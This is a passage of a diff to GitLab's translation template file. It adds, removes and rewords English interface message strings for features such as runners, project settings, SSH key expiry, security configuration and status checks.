+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
